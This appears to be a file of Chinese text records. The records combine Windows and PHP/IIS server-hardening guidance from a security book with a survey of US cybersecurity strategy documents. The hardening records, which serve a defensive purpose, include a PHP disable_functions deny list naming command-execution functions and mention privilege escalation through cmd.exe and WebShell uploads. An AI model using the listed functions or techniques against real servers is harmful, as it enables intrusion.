    {"text": "z 工作组权限由组中各用户权限累加决定：例如，一个组 Group1 中有两个用户 User1、User2， 他们对某文件或文件夹的访问权限分别为“只读”和“写入”，那么组 Group1 对该文件或文 件夹的访问权限就为 User1 和 User2 的访问权限之和，实际上是取其中最大的那个，即“只 读+写入=写入”。 z 用户权限由所属组权限的累加决定：例如，一个用户 User1 同时属于组 Group1 和 Group2， 而 Group1 对某一文件或文件夹的访问权限为“只读”，而 Group2 对这一文件或文件夹的访 问权限为“完全控制”，则用户 User1 对该文件或文件夹的访问权限为两个组权限累加所得， 即“只读+完全控制=完全控制”。 （3）权限的优先性 权限的这一特性包含两种子特性：一是文件的访问权限优先于文件夹的权限，也就是说，文件 权限可以越过文件夹的权限，不顾上一级文件夹的设置； 二是“拒绝”权限优先于其他权限，也就 是说，“拒绝”权限可以越过其他权限，一旦选择了“拒绝”权限，则其他权限不会起作用，相当于 没有进行设置。"},
    {"text": "z 文件权限优先于文件夹权限：如果用户 User1 对文件夹 FolderA 的访问权限为“只读”，在 这个文件夹下有一个 File1 文件，则可以对这个文件 File1 设置权限为“完全控制”，而不顾 它的上一级文件 FolderA 的权限设置情况。 z “拒绝”权限优先于其他权限：如果一个用户 User1 同时属于组 Group1 和组 Group2，其中 组 Group1 对文件 File1（或文件夹）的访问权限为“完全控制”，而用户 Group2 对文件 File1 的访问权限设置为“拒绝访问”，那么根据这个特性，User1 对文件 File1 的访问权限为“拒 绝访问”，而不管工作组 Group1 对这个文件设置了什么权限。 （4）访问权限和共享权限的交叉性 当同一文件夹在为某一用户设置了共享权限的同时为用户设置了该文件夹的访问权限，且所设 权限不一致时，它的取舍原则是取两个权限的交集，即最严格、最低的权限。 例如，文件夹 FolderA 为用户 User1 设置的共享权限为“只读”，同时，文件夹 FolderA 为用户 User1 设置的访问权限为“完 全控制”，那么用户 User1 的最终访问权限为“只读”。"},
    {"text": "9.15.4 变态 Windows 权限配置 下面介绍变态 Windows 权限配置的相关内容。 1．常见提权方法 如果想把 Windows 权限配置得变态一些，必须了解常见的提权方法。"},
    {"text": "3．设置 C:\\Documents and Settings 的权限 设置 C:\\Documents and Settings 的权限时，同样只保留 Administrator 和 SYSTEM 权限。 虽然设 置了“Documents and Settings”目录的权限，但是目录下的文件还是具有自己的权限，如图 9-113 所示， 所以需要继续修改。 “All Users”目录的默认权限不小，所以还是保留 Administrator 和 SYSTEM。 依次 对“All Users”下面的所有目录（注意：这里是所有目录）都只保留 Administrator 和 SYSTEM 权限。 图 9-112 用户权限 图 9-113 设置 C:\\Documents and Settings 的权限 4．设置 C:\\Program and Files 目录的权限 同理，C:\\Program and Files 目录也只保留 Administrator 和 SYSTEM 权限。"},
    {"text": "5．设置 inetsrv 目录的权限 如果服务器安装了 IIS，会在 C:\\WINDOWS\\system32 目录下创建一个“inetsrv”目录，这里有 个文件夹“ASP Compiled Templates”，如图 9-115 所示，IIS 的启动用户“IUSR_计算机名”具有完 全控制权限。"},
    {"text": "628 第 9 章 Windows 及 Linux 安全防范 图 9-114 设置 c:\\program and files 目录的权限 图 9-115 删除 IIS_WPG 完全控制权限 6．设置 C:\\WINDOWS\\Temp 目录的权限 C:\\WINDOWS\\Temp 目录的设置需要考虑的因素非常多。"},
    {"text": "首先，许多应用程序把上传的临时目 录设置成这里，所以这个目录必须有可写权限，但是如果设置成可写，黑客能够通过在这里上传 cmd.exe 等程序进行提权。"},
    {"text": "其次，一些服务器的虚拟 管理软件，例如 hzhost，默认把 Session 写入这里， 这样就造成了安全隐患。 因为 Session 中可能包含虚 拟机的用户和密码，所以读权限也要谨慎设置。"},
    {"text": "对企业或者个人服务器没有安装 hzhost 等软件的情 况，设置成如图 9-116 所示的权限，把所有用户删 除，保留 Administrator 和 SYSTEM，然后添加 Everyone 修改、读取及运行，列出文件目录、读取、 写入权限。 到这里，我们就完成了 NTFS 的基本配置，这 图 9-116 设置 C:\\WINDOWS\\Temp 目录的权限 样设置的安全性会大大提高。"},
    {"text": "例 如，将图片目录设置成不能运行 PHP，这样就算网站有被登录后台的危险，黑客能够上传文件，最 终也不能执行 WebShell； 就算黑客拿到了 WebShell，也无法读目录或者文件，不能执行命令。"},
    {"text": "629 网络攻防实战研究：漏洞利用与提权 9.16.1 php.ini 文件 由于 Web 网站是 PHP 的，很多默认的选项是不安全的，给黑客留下了非常多的可利用机会，所 以，必须要把 php.ini 设置得变态些，这样就能阻止一般脚本黑客的攻击了。"},
    {"text": "z 值（value）：可以是用引号界定的字符串（例如“foo”）、一个数字（整数或浮点数，例如 0、 1、34、-1、33.55）、一个 PHP 常量（例如 E_ALL、M_PI）、一个 INI 常量（例如 On、Off、 none）、一个表达式（例如“E_ALL & ~E_NOTICE”）。"},
    {"text": "图 9-117 php.ini 文件参数 9.16.2 php.ini 参数的安全设置 了解了基本的概念以后，我们就可以开始高级配置之旅了。 下面分别介绍 php.ini 中涉及安全的 重要参数。"},
    {"text": "register_ globals 的意思是注册为全局变量，所以当它开启的时候，传递过来的值会被注册为全局变量直接使 用，而当它关闭的时候，我们需要到特定的数组里去得到它。 从众多 PHP 漏洞来看，一大部分是在 register_globals 开启的时候被利用的，所以强烈建议将这个参数修改成“Off”。"},
    {"text": "如果把 magic_quotes_gpc 参数设置成“Off”，那么 PHP 就不会对“'”（单引号）、“\"”（双引号）、“\\”（反斜线）和空字符进行转义，这样就可能造成服务器 非法注入。 但是，如果把 magic_quotes_gpc 参数设置成“On”，$_POST、$_GET、$_COOKIE 提交 的变量中有上面 4 种字符，PHP 就会给它们加上“\\”，这样可以大大提高 PHP 的安全性。 强烈推荐 630 第 9 章 Windows 及 Linux 安全防范 将 magic_quotes_gpc 参数设置为“On”。"},
    {"text": "PHP 的安全模式是一个非常重要 的内嵌安全机制，能够控制 PHP 中的一些函数，例如 system() 等，同时对很多文件操作函数进行了 权限控制，也不允许对某些关键文件进行操作，例如/etc/passwd。"},
    {"text": "使用 disable_functions 参数可以限制一些对系统来说威胁很大 的函数，例如 phpinfo() 函数可以用于查看关于 PHP 的环境变量等，还可以利用 system、exec 等函数 执行系统命令等。 在这里推荐过滤的函数有 disable_functions=phpinfo、passthru、exec、system、chroot、 scandir、chgrp、chown、shell_exec、proc_Open、proc_get_status、ini_alter、ini_alter、ini_restore、dl、 pfsockopen、openlog、syslog、readlink、symlink、popepassthru、stream_socket_server。"},
    {"text": "Windows 平台下的 PHP 脚本平台存在一个安全漏洞，使得 PHP 设置 即使在安全模式下（safe_mode）仍然允许攻击者使用 COM() 函数来创建系统组件，进而执行任意 命令。 漏洞出现的原因是，在安全模式下的 PHP 平台虽然禁止了 system()、pathru() 函数，但是 com.allow_dcom 参数的设置依旧为“True”，以至于攻击者可以使用 COM() 函数创建系统组件对象 来运行系统命令。"},
    {"text": "这个参数决定是否暴露 PHP 被安装在服务器上。 如图 9-119 所示， 如果这个参数设置为“On”，就会泄露 PHP 的版本等，推荐值是“Off”。 631 网络攻防实战研究：漏洞利用与提权 图 9-119 是否暴露 PHP 参数基本上介绍完了。"},
    {"text": "注意 修改 php.ini 以后，必须重新启动 IIS，否则设置的内容将不会生效。 9.16.3 IIS 指定目录运行或者不运行 PHP 配置完 php.ini，虽然已经相当安全了，但最重要的设置还是在 IIS 上。"},
    {"text": "IIS 可以限制某些用户的 登录，同时可以通过为数据增加 SSL（安全套接层）来增强数据在传输过程中的安全性。 可以利用 IIS 限制某些应用程序，例如 PHP 的执行规则让 PHP 只能运行在指定的目录中，而在其他目录中是 不能执行 PHP 的，这个规则可以运行文件上传目录、读取图片文件，但不能运行 PHP 文件。"},
    {"text": "如图 9-120 所示，可以看到网站和网站的资源，画线部分是网站目录，2008.php 是程序文件。 图 9-120 网站目录和文件 在网站根目录中新建一个目录，例如“images”，然后在“images”目录下建立一个 2009.php 文 件，内容是 phpinfo 的内容，如图 9-121 所示，能够正常访问并执行，说明程序已经运行了。 632 第 9 章 Windows 及 Linux 安全防范 图 9-121 运行 2009.php 程序 为了让这个目录不支持 PHP 的执行，有以下两种方法。"},
    {"text": "刷新页面，重新运行 2009.php 程序，如 图 9-123 所示，页面就无法运行了。 图 9-122 设置执行权限 图 9-123 不能运行 2009.php 程序 633 网络攻防实战研究：漏洞利用与提权 第二种方法是利用应用程序池来配置，具体的实现方法如图 9-124 所示，单击“创建”按钮， 即可创建一个和网站名字相同的应用程序池。 单击“配置”按钮，出现如图 9-125 所示的“应用程序配置”对话框，将“应用程序扩展”列 表框中的.php 扩展删除，就不能运行 PHP 脚本了。 图 9-124 创建应用程序池 图 9-125 配置应用程序池 再次刷新，运行程序，就会出现 404 错误，而图片仍然可以访问，如图 9-126 所示。"},
    {"text": "634 第 9 章 Windows 及 Linux 安全防范 单击“身份验证和访问控制”设置区的“编辑”按钮，如图 9-128 所示，勾选“集成 Windows 身份验证”选项，取消勾选“启用匿名访问”选项，然后单击“确定”按钮。 图 9-127 设置目录安全 图 9-128 设置身份验证方法 再次访问就出现了如图 9-129 的对话框，要求输入 Windows 服务器上的用户名和密码。"},
    {"text": "右键单击“我的计算机”图标，在弹出的快捷菜单中选择“管理”选项，如图 9-130 所示，右 键单击新建的 test 用户，在弹出的快捷菜单中选择“属性”选项，为其设置用户密码永不过期，然 后设置拒绝访问。 单击“确定”按钮回到刚才的目录中，输入新建的用户名和密码，就可以正常查 看网页了。 图 9-129 授权最小权限用户访问 图 9-130 设置用户权限 9.16.5 设置服务器只支持 PHP 脚本 设置服务器只支持 PHP 脚本，如图 9-131 所示，只留下“.php”扩展名就可以了，其他全部删 除。"},
    {"text": "打开目录的属性对话框，如图 9-132 所示，在“test 属性”对话框中将 “IUSR_计算机名”添加进来，这个账号是 IIS 匿名用户的访问账号（注意：框中部分一定不要选择， 否则黑客就能上传 WebShell 到网站目录了）。 但是这样设置仍然不够，例如网站需要上传图片的时 候就无法操作了，这个时候我们需要把图片目录设置成可写权限，如图 9-133 所示。 同时，结合前 面的设置，把这个目录设置成不能执行 PHP，这样就实现了目录的变态配置。 图 9-132 为特定目录网络用户授权 图 9-133 设置图片目录不运行脚本 636"},
    {"text": "内容简介 随着各国在互联网安全领域的交流与对话日益深入，制定网络安全的国家安全战略，对于有效调动协调各方力量，更好地保护国家利益，显得至关重要。作为互联网大国，美国拥有最先进的互联网技术，同时也面临着来自网络的严峻威胁与挑战，因此一直以来美国对于互联网安全给予了高度重视。本书通过重点研究美国近年来的网络安全战略走向，分析美国网络安全战略的制定与不断演进过程中的有益经验与做法，希望为我国制定国家层面的网络安全战略提供借鉴和参考。 本书理论与实际相结合，对于各级党政机关和企业开展网络舆情的监测和分析工作，充分发挥其在信息决策中的作用，具有重要的参考意义。也可供网络舆情研究领域的各类学术机构的工作人员和学生阅读参考。 未经许可，不得以任何方式复制或抄袭本书之部分或全部内容。 版权所有，侵权必究。 图书在版编目（CIP）数据 美国国家网络安全战略研究/程工等编著.—北京：电子工业出版社，2015.11 （国内外互联网研究系列丛书） ISBN 978-7-121-27472-5 Ⅰ.①美… Ⅱ.①程… Ⅲ.①计算机网络-国家安全-国家战略-研究-美国 Ⅳ.①D771.235②TP393.08 中国版本图书馆CIP数据核字（2015）第258099号 责任编辑：徐蔷薇 特约编辑：王纲 印刷：北京天宇星印刷厂 装订：北京天宇星印刷厂 出版发行：电子工业出版社 北京市海淀区万寿路173信箱 邮编 100036 开本：787×1092 1/16 印张：16.5 字数：412千字 版次：2015年11月第1版 印次：2015年11月第1次印刷 定价：49.00元 凡所购买电子工业出版社图书有缺损问题，请向购买书店调换。若书店售缺，请与本社发行部联系，联系及邮购电话：（010）88254888。 质量投诉请发邮件至zlts@phei.com.cn，盗版侵权举报请发邮件至dbqq@phei.com.cn。 服务热线：（010）88258888。 前言 2015年7月6日，《网络安全法》（草案）经十二届全国人大常委会第十五次会议初次审议后，正式全文发布并向全社会公开征求意见。这是我国网络安全工作的一件大事，彰显了国家对于网络安全问题的高度重视，同时也标志着网络安全被提升到国家安全与发展层面，为建设“网络强国”的战略部署提供了法律支撑和保障。事实上，各国政府对于网络攻击的威胁，对于网络关键基础设施的保护，对于统筹国家和民间力量，从宏观和微观两个层面建设本国的网络安全体系框架，早已有了共识。至少有41 个国家颁布了各种形式的网络空间安全的国家战略，旨在加强本国网络安全方面的攻防能力。而其中，作为世界上互联网最发达的国家，同时也是走在网络安全技术最前沿的国家，美国对于网络安全的重视程度，也是各国之中最为突出的。从20世纪80年代起，至2015年6月底，美国以战略、计划、总统令等多种形式，先后颁布了40多份与网络安全相关的文件，构成了一个较为完备的网络安全战略体系。本书重点选取了克林顿、布什和奥巴马三位最近的美国总统执政期间推出的相关战略文件，对其战略的演变脉络以及相关举措进行了梳理和分析。 本书与2014年出版的《国外网络与信息安全战略研究》是姊妹篇，所有内容都围绕美国的网络安全战略体系，分为三章：第一章为美国网络安全战略分析，第二章为美国网络安全战略概要，第三章为美国网络安全战略译文。希望本书能够为关注网络安全战略问题的读者提供借鉴和参考。 编者 2015年7月 目录 前言 第一章 美国网络安全战略分析 美国政府历年重要网络与信息安全文件概述 奥巴马政府网络安全相关举措及行动路线图 美国关键基础设施网络安全保护的经验分析 美国强化网络空间霸权以加强对全球的控制 美国军方网络安全战略解析 美国国防部2015年新版网络战略述评 浅析近年来美国网络安全立法的焦点及争议 美国CERT组织架构、定位和作用浅析 第二章 美国网络安全战略概要 《关键基础设施和重要资产实体保护国家战略》摘要 《国家网络安全战略》概要 美国解密《国家网络安全综合计划》中的12项提议 《国家基础设施保护计划》概要 《网络空间政策评估》概要 《实现能源供给系统网络安全路线图》概要 《全球供应链安全国家战略》概要 《提升美国关键基础设施网络安全的框架规范》摘译 第三章 美国网络安全战略译文 战略（计划）篇 信息系统保护国家计划（V1.0） 网络空间国际战略 网络空间行动战略 信息共享与安全保障国家战略 国防部网络战略 报告篇 网络空间安全：迫在眉睫的危机 网络空间政策评估 确保未来网络安全的蓝图：国土安全相关实体网络安全战略 总统令篇 克林顿政府关于关键基础设施保护的白皮书 第13231号行政令：信息时代的关键基础设施保护 第13636号行政令：增强关键基础设施网络安全 第21号总统政策指令：关键基础设施的安全与恢复力 行政命令：促进民营部门网络安全信息共享"},
    {"text": "第一章 美国网络安全战略分析 美国政府历年重要网络与信息安全文件概述 作为世界上互联网最发达的国家之一，美国对互联网的应用程度和依赖程度远高于大多数国家，因而面临更大的网络和信息安全威胁。"},
    {"text": "（一）第 63 号总统决策令：《克林顿政府对关键基础设施保护的政策》（ Presidential Decision Directive 63 ： The Clinton Administration’s Policy on Critical Infrastructure Protection ） 1998年5月22日，克林顿政府发布了第63号总统决策令（PDD63）：《克林顿政府对关键基础设施保护的政策》，第一次就美国信息安全的概念、意义、长期与短期目标等做出了明确的说明，并针对下一步的行动做了指示。"},
    {"text": "克林顿政府在PDD63中指出，“我们的经济越来越依靠那些相互依赖的、由计算机和网络支持的基础设施，对我们的基础设施和信息系统的非常规攻击有可能使我们的军事和经济力量遭到巨大伤害。"},
    {"text": "PDD63 要求从总统令发布之日起，五年后美国将获得并保持对国家的关键基础设施进行保护的能力，以防止可能严重危害到下述职能的有预谋的行为：联邦政府履行其重要的国家安全责任并确保公众健康和安全；"},
    {"text": "（二）《信息系统保护国家计划（ V1.0 ）》（ National Plan for Information Systems Protection Version 1.0 ） 2000年1月5日，克林顿政府发布了《信息系统保护国家计划（V1.0）》，提出了美国政府在21 世纪之初若干年的网络空间安全发展规划。"},
    {"text": "签署该文件是美国国家信息与网络安全政策的重大事件。 文件将信息安全与网络安全列入国家安全战略，成为国家安全战略的重要组成部分。 这标志着网络安全正式进入了国家安全战略框架，并具有了独立地位。"},
    {"text": "二、布什政府时代（2001—2009年） 布什总统上台不久，美国便发生了举世瞩目的“9·11”事件，布什政府深刻认识到反恐必须切实加强对国家关键基础设施与资产的保护。"},
    {"text": "此外，分别于2003年和2008年出台的两份重要文件：《确保网络空间安全的国家战略》和《国家网络安全综合计划》（CNCI），强调了发展保卫国家网络安全的能力。"},
    {"text": "（一）第 13231 号行政令：《信息时代的关键基础设施保护》（ Executive Order 13231 ： Critical Infrastructure Protection in the Information Age ） 2001年10月16日，布什政府意识到了“9·11”事件之后信息安全的严峻性，发布了第13231号行政令：《信息时代的关键基础设施保护》，宣布成立“总统关键基础设施保护委员会”（PCIPB），代表政府全面负责国家的网络空间安全工作。"},
    {"text": "委员会成立以后，为制定布什政府的国家网络空间安全战略，2002年3月20日向美国民众公布了国家战略中可能会涉及的53个重点问题并广泛听取了国民的意见和建议。 2002年9月18日，“9·11”事件一周年纪念日之后，在整理国民对53个问题的反馈意见的基础上，发布了《确保网络空间安全的国家战略》（草案）。 （二）《确保网络空间安全的国家战略》（ The National Strategy to Secure Cyberspace ） 2003年2月14日，美国公布了《确保网络空间安全的国家战略》（正式版）。 该战略是布什政府对《美国国土安全的国家战略》（2002年7月公布）的补充，并以《保护至关重要的基础设施和关键资产的国家战略》（2003年2月14日公布）作为其补充文件。"},
    {"text": "该战略明确界定了关键基础设施，是指“那些维持经济和政府最低限度的运作所需要的物理和网络系统，包括信息和通信系统、能源、银行与金融、交通运输、水利系统、应急服务、公共安全等部门以及保证联邦、州和地方政府连续运作的领导机构”。"},
    {"text": "（1）建立国家网络安全响应系统。 （2）建立一个减少网络安全威胁和脆弱性的国家项目。 （3）建立一个网络安全预警和培训的国家项目。 （4）确保政府各部门的网络安全。 （5）国家安全与国际网络安全合作。"},
    {"text": "（三）《关键基础设施和重要资产物理保护国家战略》（ The National Stategy for The Physical Protection of Critical Infrastructures and Key Assets ） 2003年2月14日，美国发布了《关键基础设施和重要资产物理保护国家战略》，标志着美国从国家安全的高度全面推行关键基础设施与资产保护计划。"},
    {"text": "该战略将美国的关键基础设施分为 11 项，包括：农业与食品、水、公共卫生、应急服务、国防工业基地、通信、能源、交通运输、金融、化学工业与有害物质、邮政与货运。"},
    {"text": "（四）《网络空间安全：迫在眉睫的危机》（ Cyber Security：A Crisis of Prioritization ） 2005年4月14日，美国政府公布了美国总统IT咨询委员会2月14日向总统布什提交的《网络空间安全：迫在眉睫的危机》紧急报告，该报告对美国2003年的信息安全战略提出了不同看法，指出过去十年里美国保护国家信息技术基础建设工作是失败的，短期弥补修复不能解决根本问题。"},
    {"text": "（五）《国家网络安全综合计划》（ The Comprehensive National Cybersecurity Initiative ， CNCI ） 2008年1月8日，美国总统布什签署发布了第54号国家安全总统令暨第23号国土安全总统令（NSPD54/HSPD2），要求保护美国的网络安全，防止美国遭受敌对的电子攻击，并能对敌方展开在线攻击。 在布什签署该项总统令后，美国有关部门制定了《国家网络安全综合计划》（CNCI）。"},
    {"text": "（1）通过在联邦政府（最终将在州、地方和部族政府以及民营领域合作者）内部创建和加强对网络漏洞、威胁和事件的共享态势感知能力和对减少当前漏洞和防止入侵的快速反应能力，进而建立一个防御前线以抵御当前面临的迫切威胁。"},
    {"text": "（3）通过扩大网络教育、全面协调和重新定位联邦政府内的研发工作、致力于明确和制定相关战略以阻止敌对和恶意的网络空间行动等措施，进而巩固未来的网络空间环境安全。"},
    {"text": "（六）《提交第 44 届总统的保护网络空间安全的报告》（ Securing Cyberspace for the 44th Presidency：A Report of the CSIS Commission on Cybersecurity for the 44th Presidency ） 2008年12月，布什政府成立的“第44届总统网络空间安全委员会”经过一年半的工作，形成了《提交第44届总统的保护网络空间安全的报告》。"},
    {"text": "此后，奥巴马政府将制定网络空间战略列为重中之重，先后出台了《网络空间可信身份国家战略》、《网络空间国际战略》、《网络空间行动战略》、《国土安全相关实体网络安全战略》、《网络安全框架》等一系列重要战略文件，构建了一个包含网络安全、网络经济、网络监控、网络自由、网络威慑等在内的全方位战略体系，从战略层面确立美国在网络空间的主导地位，帮助美国实现制网权。"},
    {"text": "（一）《国家网络安全战略：需要进行的关键改进》（ National Cybersecurity Strategy：Key Improvements Are Needed to Strengthen the Nation's Posture ） 2009年3月10日，美国联邦审计署发布了《国家网络安全战略：需要进行的关键改进》报告，对需要进一步加强的网络安全关键领域和改进美国国家网络安全战略提出了建议。"},
    {"text": "报告要求采取积极措施，进一步加强五个领域的网络安全，即支持网络分析和预警能力，完成网络安全实践提出的行动，增强基础设施控制系统的网络安全性，加强国土安全部对网络攻击的恢复能力，解决网络犯罪问题。"},
    {"text": "（二）《网络空间政策评估：保障可信和强健的信息和通信基础设施》（ Cyberspace Policy Review ： Assuring a Trusted and Resilient Information and Communications Infrastructure ） 2009年5月29日，奥巴马总统公布了由安全部门官员起草的题为《网络空间政策评估：保障可信和强健的信息和通信基础设施》的报告。"},
    {"text": "报告认为美国的数字基础设施主要建立在互联网基础上，目前并不安全，现状“不可接受”，来自网络空间的威胁已经成为美国面临的最严重的经济和军事威胁之一。"},
    {"text": "（三）《网络空间可信身份国家战略——增强在线选择、效率、安全与隐私保护》（ National Strategy for Trusted Identities in Cyberspace——Enhancing Online Choice，Efficiency，Security and Privacy，NSTIC ） 2011年4月15日，美国白宫发布了《网络空间可信身份国家战略——增强在线选择、效率、安全与隐私保护》（NSTIC），旨在通过政府和企业的共同努力，建立一个以用户为中心的身份生态系统，促使个人和组织遵循协商一致的标准和流程来鉴别和认证数字身份，从而实现相互信任。"},
    {"text": "NSTIC将是美国信息高速公路建设后，又一项涉及全球的巨大信息技术工程，美国政府希望借此再次引领世界经济新潮流，占领未来全球经济的制高点。"},
    {"text": "（四）《网络空间国际战略——互连世界的繁荣、安全与开放》（ International Strategy for Cyberspace——Prosperity，Security and Openness in a Networked World ） 2011年5月16日，美国联邦政府六大部门——白宫、国务院、司法部、商务部、国土安全局和国防部共同宣布了《网络空间国际战略——互连世界的繁荣、安全与开放》。"},
    {"text": "战略宣称要建立一个“开放、互通、安全和可靠”的网络空间，并为实现这一构想勾勒出了政策路线图，内容涵盖经济、国防、执法和外交等多个领域，“基本概括了美国所追求的目标”。"},
    {"text": "战略中还提出了网络空间十大“基本原则”，即维护基本自由、尊重知识产权、重视隐私、打击犯罪、维护自卫权、确保网络全球互通、确保网络稳定、确保人人能上网、多方参与的互联网治理，以及给予网络安全应有的重视。 （五）《网络空间行动战略》（ Department of Defense Strategy for Operating in Cyberspace ） 2011年7月14日，美国国防部发布了首份《网络空间行动战略》，以加强美军及重要基础设施的网络安全保护。"},
    {"text": "（1）将网络空间作为与陆、海、空、外太空并列的“行动领域”，国防部以此为基础进行组织、培训和装备，以应对网络空间存在的复杂挑战和巨大机遇。"},
    {"text": "（六）《可信网络空间：联邦网络安全研究与发展项目战略计划》（ Trustworthy Cyberspace：Strategic Plan for The Federal Cybersecurity Research and Development Program ） 2011年12月6日，美国白宫发布了路线图，公布了网络安全的研究与发展重点，以确保美国网络基础设施的安全，并改变人们处理网络安全问题的方式。 美国首席技术官安尼什·乔普拉与白宫网络安全负责人霍华德·施密特发表博文称，《可信网络空间：联邦网络安全研究与发展项目战略计划》源于2009年年初美国总统奥巴马下令开展的一次为期60天的国家网络安全状态评估。"},
    {"text": "为响应此号召，美国白宫科学和技术政策办公室制订了该研究与发展计划，旨在帮助美国应对网络安全的挑战，并更有效地保护网络空间的安全。"},
    {"text": "（七）《实现能源输送系统网络安全路线图》（ Roadmap to Achieve Energy Delivery Systems Cybersecurity ） 2011年9月15日，美国能源部发布了《实现能源输送系统网络安全路线图》，确定了2020 年前美国能源输送系统网络安全目标，并给出了应对网络攻击的策略。"},
    {"text": "这份路线图向拥有和控制重要能源基础设施的政府部门和民营企业提出了5项战略，呼吁它们精诚合作，为美国打造安全可靠和恢复力强的能源输送系统。"},
    {"text": "（八）《确保未来网络安全的蓝图：国土安全相关实体网络安全战略》（ Blueprint for a Secure Cyber Future：The Cybersecurity Strategy for the Homeland Security Enterprise ） 2011年12月12日，美国国土安全部网站发表了2011年网络安全战略报告，题为《确保未来网络安全的蓝图：国土安全相关实体网络安全战略》。"},
    {"text": "该报告在《四年国土安全评估报告》的基础上撰写，意图是呼吁保护对美国至关重要的关键基础设施，并在不久后开发出更强大的信息和通信技术，使政府、企业和个人更安全地使用互联网。"},
    {"text": "（九）《国家信息共享及保护战略》（ National Strategy For Information Sharing and Safeguarding ） 2012年12月19日，美国白宫发布了《国家信息共享及保护战略》，允许政府部门间共享信息，建立政府机构间数据共享机制。"},
    {"text": "（十）第 13636 号行政令：《增强关键基础设施网络安全》（ Executive Order 13636 ： Improving Critical Infrastructure Cybersecurity ） 2013年2月12日，美国总统奥巴马签署了名为《增强关键基础设施网络安全》的第13636号行政令，旨在保护国家基础设施免受网络攻击。"},
    {"text": "政府将与民营部门合作建立“网络安全框架”（Cybersecurity Framework），实现网络攻击与威胁的信息共享，从而降低针对关键基础设施的网络安全风险。"},
    {"text": "（十一）《网络安全框架》（ Framework for Improving Critical Infrastructure Cybersecurity V1.0 ） 2014年2月12日，美国政府公布了最新《网络安全框架》，用于协助关键基础设施经营者制定网络安全总体方案。"},
    {"text": "框架搜集了全球现有的标准与做法，采用了风险管理的方法，以便于各机构适应“不断变化的网络安全环境，并对变化中的复杂威胁及时做出响应”。"},
    {"text": "框架核心（Framework Core）描述了企业在确认网络安全风险、保护企业免遭攻击、如有事故发生开展检测、响应，并从可能造成的任何损害中恢复的整个过程中的高级活动。"},
    {"text": "框架实施层级（Framework Implementation Tiers）描述随着严密性的提升，具体的过程分为四级，从“部分（partial）”（1级）到“适应（adaptive）”（4级）。"},
    {"text": "虽然是否采纳该框架是自愿行为，不过，美国国土安全部已成立关键基础设施网络社区（C3）志愿项目来提升企业对该框架的认识，协助它们管理风险。"},
    {"text": "（十二）总统行政令：《促进民营部门网络安全信息共享》（ Executive Order ： Promoting Private Sector Cybersecurity Information Sharing ） 2015年2月12日，美国总统奥巴马签署了一项旨在提高关键性基础设施网络安全的行政命令，要求美国政府与运营关键性基础设施的合作伙伴加强信息共享，共同建立和发展一个推动网络安全的实践框架。"},
    {"text": "同时，行政命令还扩大了“强化网络安全服务项目”的覆盖范围，国防基础工业之外的关键性基础设施也可以参与该项目，获得近乎同步的信息共享以提高网络安全防御能力。"},
    {"text": "（十三）《美国国防部网络战略》（ the Department of Defense Cyber Strategy ） 2015年4月23日，美国国防部发布了《美国国防部网络战略》，这是2011年12月12日发布的《国土安全相关实体网络安全战略》的升级版。"},
    {"text": "经过克林顿和小布什两届政府，在国务院、国防部、情报部门、国土安全部等各部门的积极配合下，一个集战略思想、政策举措和行动策略三位一体的网络空间战略逐渐浮出水面。 奥巴马自 2009 年上任以来，比其前任更加强调网络空间安全的重要性，陆续发布了《网络空间政策评估》、《网络空间国际战略》、《网络空间行动战略》等一系列重要战略文件，为美国构建了一个立体的网络安全战略体系，也使网络安全成为美国国家安全战略的核心部分之一。 在此框架下，美国政府相关部门采取了多项举措，重新安排网络空间的权力和规范，谋求更高程度的网络空间霸权，以确保美国政府所确定的繁荣、安全、价值观三大核心利益。 一、奥巴马政府对网络安全问题的整体判断和战略定位 （一）“最迫切的问题”、“最优先的事项”和“最严重的挑战”——进一步提升网络安全的国家战略地位 在竞选总统期间，奥巴马就表示要高度重视网络安全。"},
    {"text": "奥巴马本人在竞选时，也曾批评小布什政府在解决网络威胁方面过于缓慢，并在2008年7月的一次讲话中称：“作为总统，我要让网络安全成为2l世纪的最优先事项。"},
    {"text": "2009年5月29日，奥巴马在公布网络安全审查和评估报告的演讲中称：“现在已经很清楚，网络威胁是我们国家所面临的最严重的经济和国家安全挑战之一。"},
    {"text": "（二）从网络防御、攻防结合到全球威慑——美国网络安全战略的“扩张性”演变 美国政府的网络安全战略，经历了从重视网络防御、网络攻防结合到全球网络威慑的演变。"},
    {"text": "奥巴马执政以来，美国政府以《网络空间政策评估》和《网络空间可信身份国家战略》等文件为铺垫，以《网络空间国际战略》为典型代表，加上2010年 2月的《四年防务评估报告》、同年 5 月的《美国国家安全战略》和 2011 年 2 月的《美国国家军事战略》等文件对网络安全及网络空间行动的指导与补充，奥巴马政府的网络安全政策体系日臻成熟。 奥巴马政府一系列网络安全举措的核心原则，体现在《网络空间国际战略》之中，即“基本自由、隐私和信息自由流动”。"},
    {"text": "纵观美国近三届政府的网络安全战略，先后经历了从保护美国关键基础设施到扩展先发制人的网络打击，再到谋取全球制网权的演变，明显体现出该战略的“扩张性”特征。 二、奥巴马政府推行的网络安全举措及行动路线图 鉴于美国垄断负责互联网运营的国际机构和企业这一现状，美国政府网络空间政策主要通过国际和国内两种行动策略来实施。 在国际层面，美国主要是推动一种“去政府化”的网络空间治理模式，一方面，从理论上把网络空间描述为“全球公域”，否认网络主权； 另一方面，推动“多利益攸关方”治理模式，以企业、非政府组织、公民社会为网络空间治理的主体，限制国家及政府间组织在网络空间治理中发挥作用。 此外，为进一步抢占网络空间治理领域的话语权，美国国务院牵头搭建“伦敦议程”（London Agenda）的网络空间治理平台，向其他国家兜售美国的思想和价值观。"},
    {"text": "美国政府不仅在每年庞大的IT采购预算中优先采购云计算服务，还建立联邦云计算示范工程，并通过一揽子计划鼓励亚马逊、谷歌、微软、IBM等企业在全球获得领先地位，把美国打造成全球数据的存储、交换中心。"},
    {"text": "对内，奥巴马确立了对网络安全问题的最高领导权，坚持推进美国数字化基础设施建设，呼吁政府和企业间的责任分享和有效响应，并加强了对网络行为的安全和隐私的保护。 对外，奥巴马政府不断实行网络干涉，推行美国式的“互联网自由”，以互联网为工具直接干涉他国内政，并企图主导网络空间国际规则制定，从而确立其在网络空间的霸权地位。 （一）以国内为主线，巩固美国网络安全根基 为检验小布什政府的网络安全计划是否奏效，2009年2月9日，奥巴马要求对美国网络安全状况进行为期60天的全面审查和评估，并任命布什政府国家安全委员会主管网络安全的国家情报局局长顾问梅利莎·哈撒韦为牵头人，全面负责此项工作。 同日，奥巴马政府公布将设立国家网络安全顾问一职，负责制定政策，协调联邦机构力量，并直接向总统报告工作。"},
